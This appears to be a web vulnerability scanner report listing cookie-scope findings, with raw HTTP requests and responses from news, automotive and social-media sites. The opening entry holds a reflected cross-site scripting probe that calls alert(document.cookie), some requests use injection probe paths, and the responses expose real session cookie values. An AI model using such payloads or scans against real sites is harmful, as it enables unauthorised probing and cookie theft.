HTTP/1.0 200 OK Expires: Mon, 24 Jan 2011 21:11:11 GMT Last-Modified: Mon, 24 Jan 2011 21:11:11 GMT Etag: "4ad7d91e6131ca80d32f15ef4593339c" Cache-Control: max-age=0 P3p: CP="NON CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa HISa OUR LEG UNI COM NAV INT" Content-Type: text/javascript Set-Cookie: AC=nbrlsqWMpk; Domain=.apture.com; expires=Sun, 17-Jan-2037 19:14:07 GMT; Path=/ Content-Length: 1604 Date: Mon, 24 Jan 2011 21:11:11 GMT Connection: close
(function(){ var B=window.apture,A=window.apture=B||{}; if(!A.isApp){ A.prefs={};A.referer="http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /x22 HTTP/1.1 Host: www.automotive.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Connection: close Date: Mon, 24 Jan 2011 16:04:18 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Location: http://www.automotive.com/x22/index.html Set-Cookie: ASP.NET_SessionId=ru5vzmel1nvlrbjo404j0i55; path=/; HttpOnly Set-Cookie: UserPuid=2325714041713319967; domain=automotive.com; expires=Mon, 24-Jan-2061 16:04:18 GMT; path=/ Cache-Control: private Content-Length: 0
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /fyc/index.jsp/x22 HTTP/1.1 Host: www.autotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:04:27 GMT Server: Apache Set-Cookie: v1st=89BF6C3250E2E334; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.autotrader.com Set-Cookie: ATC_ID=173.193.214.243.1295885067966444; path=/; expires=Sat, 03-Jan-15 16:04:27 GMT; domain=.autotrader.com Last-Modified: Tue, 02 Nov 2010 16:44:27 GMT Accept-Ranges: bytes Content-Length: 5848 Vary: Accept-Encoding P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Connection: close Content-Type: text/html Set-Cookie: BIGipServerwww=1351147530.61475.0000; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en-us"> <head> <title>Page Not Found - AutoTrader.com</title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /hornav/trader/index.jsp/x22 HTTP/1.1 Host: www.autotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:04:28 GMT Server: Apache Set-Cookie: v1st=5789AE528FD93066; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.autotrader.com Set-Cookie: ATC_ID=173.193.214.243.1295885068472993; path=/; expires=Sat, 03-Jan-15 16:04:28 GMT; domain=.autotrader.com Last-Modified: Tue, 02 Nov 2010 16:44:27 GMT Accept-Ranges: bytes Content-Length: 5848 Vary: Accept-Encoding P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Connection: close Content-Type: text/html Set-Cookie: BIGipServerwww=1552474122.61475.0000; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en-us"> <head> <title>Page Not Found - AutoTrader.com</title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /no_cache/ac/trader_clicks_0001_nocount.asis? HTTP/1.1 Host: www.autotrader.com Proxy-Connection: keep-alive Referer: http://www.traderonline.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:27 GMT Server: Apache Set-Cookie: v1st=7569AE0D6B39E1B; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.autotrader.com Set-Cookie: ATC_ID=173.193.214.243.1295884767490185; path=/; expires=Sat, 03-Jan-15 15:59:27 GMT; domain=.autotrader.com Last-Modified: Tue, 02 Nov 2010 16:43:57 GMT Accept-Ranges: bytes Content-Length: 185 P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/plain Set-Cookie: BIGipServerwww=1737023498.61475.0000; path=/
Status: 200 OK Expires: Thu, 21 Feb 97 12:00:00 GMT Pragma: no-cache Cache-control: private Cache-control: no-cache Content-type: image/gif
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /no_cache/ac/trader_clicks_0002_nocount.asis? HTTP/1.1 Host: www.autotrader.com Proxy-Connection: keep-alive Referer: http://www.traderonline.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:27 GMT Server: Apache Set-Cookie: v1st=BF3F7217996B123A; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.autotrader.com Set-Cookie: ATC_ID=173.193.214.243.1295884767492259; path=/; expires=Sat, 03-Jan-15 15:59:27 GMT; domain=.autotrader.com Last-Modified: Tue, 02 Nov 2010 16:43:57 GMT Accept-Ranges: bytes Content-Length: 185 P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/plain Set-Cookie: BIGipServerwww=1317593098.61475.0000; path=/
Status: 200 OK Expires: Thu, 21 Feb 97 12:00:00 GMT Pragma: no-cache Cache-control: private Cache-control: no-cache Content-type: image/gif
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /no_cache/ac/trader_clicks_0005_nocount.asis? HTTP/1.1 Host: www.autotrader.com Proxy-Connection: keep-alive Referer: http://www.traderonline.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:27 GMT Server: Apache Set-Cookie: v1st=1AA3D7F874709C04; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.autotrader.com Set-Cookie: ATC_ID=173.193.214.243.1295884767486770; path=/; expires=Sat, 03-Jan-15 15:59:27 GMT; domain=.autotrader.com Last-Modified: Tue, 02 Nov 2010 16:43:57 GMT Accept-Ranges: bytes Content-Length: 185 P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/plain Set-Cookie: BIGipServerwww=1653137418.61475.0000; path=/
Status: 200 OK Expires: Thu, 21 Feb 97 12:00:00 GMT Pragma: no-cache Cache-control: private Cache-control: no-cache Content-type: image/gif
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /no_cache/ac/trader_clicks_0006_nocount.asis? HTTP/1.1 Host: www.autotrader.com Proxy-Connection: keep-alive Referer: http://www.traderonline.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:27 GMT Server: Apache Set-Cookie: v1st=4BE5B3481EBAD751; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.autotrader.com Set-Cookie: ATC_ID=173.193.214.243.1295884767492827; path=/; expires=Sat, 03-Jan-15 15:59:27 GMT; domain=.autotrader.com Last-Modified: Tue, 02 Nov 2010 16:43:57 GMT Accept-Ranges: bytes Content-Length: 185 P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/plain Set-Cookie: BIGipServerwww=2022236170.61475.0000; path=/
Status: 200 OK Expires: Thu, 21 Feb 97 12:00:00 GMT Pragma: no-cache Cache-control: private Cache-control: no-cache Content-type: image/gif
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /no_cache/ac/trader_clicks_0009_nocount.asis? HTTP/1.1 Host: www.autotrader.com Proxy-Connection: keep-alive Referer: http://www.traderonline.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:27 GMT Server: Apache Set-Cookie: v1st=DE05B78BAE6BA143; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.autotrader.com Set-Cookie: ATC_ID=173.193.214.243.1295884767489238; path=/; expires=Sat, 03-Jan-15 15:59:27 GMT; domain=.autotrader.com Last-Modified: Tue, 02 Nov 2010 16:43:57 GMT Accept-Ranges: bytes Content-Length: 185 P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/plain Set-Cookie: BIGipServerwww=2575884298.61475.0000; path=/
Status: 200 OK Expires: Thu, 21 Feb 97 12:00:00 GMT Pragma: no-cache Cache-control: private Cache-control: no-cache Content-type: image/gif
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /no_cache/ac/trader_clicks_0016_nocount.asis? HTTP/1.1 Host: www.autotrader.com Proxy-Connection: keep-alive Referer: http://www.traderonline.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:27 GMT Server: Apache Set-Cookie: v1st=F295814A75AF51AA; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.autotrader.com Set-Cookie: ATC_ID=173.193.214.243.1295884767489157; path=/; expires=Sat, 03-Jan-15 15:59:27 GMT; domain=.autotrader.com Last-Modified: Tue, 02 Nov 2010 16:43:57 GMT Accept-Ranges: bytes Content-Length: 185 P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/plain Set-Cookie: BIGipServerwww=1250484234.61475.0000; path=/
Status: 200 OK Expires: Thu, 21 Feb 97 12:00:00 GMT Pragma: no-cache Cache-control: private Cache-control: no-cache Content-type: image/gif
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /research/certified-cars/index.jsp/x22 HTTP/1.1 Host: www.autotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:04:25 GMT Server: Apache Set-Cookie: v1st=49F204915327FA62; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.autotrader.com Set-Cookie: ATC_ID=173.193.214.243.1295885065453031; path=/; expires=Sat, 03-Jan-15 16:04:25 GMT; domain=.autotrader.com Last-Modified: Tue, 02 Nov 2010 16:44:27 GMT Accept-Ranges: bytes Content-Length: 5848 Vary: Accept-Encoding P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Connection: close Content-Type: text/html Set-Cookie: BIGipServerwww=1787355146.61475.0000; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en-us"> <head> <title>Page Not Found - AutoTrader.com</title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /research/index.jsp/x22 HTTP/1.1 Host: www.autotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:04:26 GMT Server: Apache Set-Cookie: v1st=2D8D8CB669EE0E07; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.autotrader.com Set-Cookie: ATC_ID=173.193.214.243.1295885066866955; path=/; expires=Sat, 03-Jan-15 16:04:26 GMT; domain=.autotrader.com Last-Modified: Tue, 02 Nov 2010 16:44:27 GMT Accept-Ranges: bytes Content-Length: 5848 Vary: Accept-Encoding P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Connection: close Content-Type: text/html Set-Cookie: BIGipServerwww=1971904522.61475.0000; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en-us"> <head> <title>Page Not Found - AutoTrader.com</title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /research/new-cars/index.jsp/x22 HTTP/1.1 Host: www.autotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:04:27 GMT Server: Apache Set-Cookie: v1st=FD01CADD9CE8D858; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.autotrader.com Set-Cookie: ATC_ID=173.193.214.243.1295885067871732; path=/; expires=Sat, 03-Jan-15 16:04:27 GMT; domain=.autotrader.com Last-Modified: Tue, 02 Nov 2010 16:44:27 GMT Accept-Ranges: bytes Content-Length: 5848 Vary: Accept-Encoding P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Connection: close Content-Type: text/html Set-Cookie: BIGipServerwww=2525552650.61475.0000; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en-us"> <head> <title>Page Not Found - AutoTrader.com</title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /research/used-cars/index.jsp/x22 HTTP/1.1 Host: www.autotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:04:24 GMT Server: Apache Set-Cookie: v1st=F1B5B0190A0903E5; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.autotrader.com Set-Cookie: ATC_ID=173.193.214.243.1295885064281746; path=/; expires=Sat, 03-Jan-15 16:04:24 GMT; domain=.autotrader.com Last-Modified: Tue, 02 Nov 2010 16:44:27 GMT Accept-Ranges: bytes Content-Length: 5848 Vary: Accept-Encoding P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Connection: close Content-Type: text/html Set-Cookie: BIGipServerwww=1871241226.61475.0000; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en-us"> <head> <title>Page Not Found - AutoTrader.com</title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /x22/x3e/x3cli HTTP/1.1 Host: www.autotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 16:04:21 GMT Server: Apache Set-Cookie: v1st=44290BD80D43DD62; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.autotrader.com Set-Cookie: ATC_ID=173.193.214.243.1295885061096866; path=/; expires=Sat, 03-Jan-15 16:04:21 GMT; domain=.autotrader.com Last-Modified: Tue, 02 Nov 2010 16:44:27 GMT Accept-Ranges: bytes Content-Length: 5848 Vary: Accept-Encoding P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Connection: close Content-Type: text/html Set-Cookie: BIGipServerwww=1351147530.61475.0000; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en-us"> <head> <title>Page Not Found - AutoTrader.com</title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /find/index.xhtml/x22 HTTP/1.1 Host: www.autotraderclassics.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache Last-Modified: Sat, 15 Jan 2011 12:37:21 GMT P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" X-UA-Compatible: IE=EmulateIE7 Content-Type: text/html Date: Mon, 24 Jan 2011 16:04:30 GMT Content-Length: 19116 Connection: close Set-Cookie: v1st=AD90949C1AABB6BF; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.autotraderclassics.com Set-Cookie: ATC_ID=216.66.31.240.1295885070163888; path=/; expires=Sat, 03-Jan-15 16:04:30 GMT; domain=.autotraderclassics.com Set-Cookie: BIGipServerwww.autotraderclassics.com=3985170442.14360.0000; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" > <html xmlns="http://www.w3.org/1999/xhtml">
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /x22 HTTP/1.1 Host: www.autotraderclassics.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache Last-Modified: Sat, 15 Jan 2011 12:37:21 GMT P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" X-UA-Compatible: IE=EmulateIE7 Content-Type: text/html Date: Mon, 24 Jan 2011 16:04:29 GMT Content-Length: 19116 Connection: close Set-Cookie: v1st=38C713FCEE18F8B0; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.autotraderclassics.com Set-Cookie: ATC_ID=216.66.31.238.1295885069167883; path=/; expires=Sat, 03-Jan-15 16:04:29 GMT; domain=.autotraderclassics.com Set-Cookie: BIGipServerwww.autotraderclassics.com=4203274250.14360.0000; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" > <html xmlns="http://www.w3.org/1999/xhtml">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /search HTTP/1.1 Host: www.backtype.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /about/ HTTP/1.1 Host: www.blip.tv Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /blogs/ HTTP/1.1 Host: www.blip.tv Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache/2.2.3 (CentOS) X-otter-skin: blipnew Vary: Cookie Set-Cookie: tab_state=prefs; domain=.blip.tv; path=/; expires=Tue, 08-Feb-2011 13:13:02 GMT Content-Type: text/html; charset=utf-8 Content-Length: 10640 Date: Tue, 25 Jan 2011 13:13:02 GMT X-Varnish: 496204649 Age: 0 Via: 1.1 varnish Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /prefs/ HTTP/1.1 Host: www.blip.tv Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /news/news_post.html?url={u}&title={t} HTTP/1.1 Host: www.care2.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 13:14:34 GMT Server: Apache/2.2.8 Set-Cookie: c2_user_state=38cf88fe52bbea1af5f9ce118bb02342%3A0; path=/; domain=.care2.com Set-Cookie: c2_user_state=e009b77c4218ecc15ebbe840c71236b3%3A0; path=/; domain=.care2.com Location: http://www.care2.com/news/compose?sharehint=news&share[share_type]news&bookmarklet=Y&share[title]=%7Bt%7D&share[link_url]=%7Bu%7D&share[content]= Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
ELMUNDO_idusr=TT5aC8CoFBUAAB8okbI-c2f1049e2d4516c17b18641aef04f3d5; expires=Fri, 24 Jan 2014 05:05:15 GMT; path=/; domain=.elmundo.es
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.elmundo.es Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache Date: Tue, 25 Jan 2011 05:05:15 GMT Content-Type: text/html Connection: close Cache-Control: no-cache X-Accel-Cache-Control: no-cache Set-Cookie: ELMUNDO_idusr=TT5aC8CoFBUAAB8okbI-c2f1049e2d4516c17b18641aef04f3d5; expires=Fri, 24 Jan 2014 05:05:15 GMT; path=/; domain=.elmundo.es Content-Length: 148754
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.employmentguide.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Mon, 24 Jan 2011 23:59:20 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET IISExport: This web site was exported using IIS Export v4.2 Content-type: text/html Page-Completion-Status: Normal Expires: 01/24/11 Pragma: no-cache cache-control: no-cache Page-Completion-Status: Normal Set-Cookie: L=Dallas%2C+TX; path=/; Set-Cookie: SITEMODE=desktop; expires=Sun, 27-Sep-2037 00:00:00 GMT; path=/; domain=.employmentguide.com; Set-Cookie: BIGipServeremploymentguide_pool=889387786.20480.0000; expires=Tue, 25-Jan-2011 01:59:20 GMT; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=250x287; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=fYoRD; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 13:15:00 GMT Content-Length: 30560
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class= ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /%s HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=450x80; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 404 Not Found Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=NgpY2; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 00:00:49 GMT Content-Length: 11704
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class= ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /2008/fbml HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=450x80; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 404 Not Found Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=2sxL4; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 00:00:04 GMT Content-Length: 11725
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class= ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
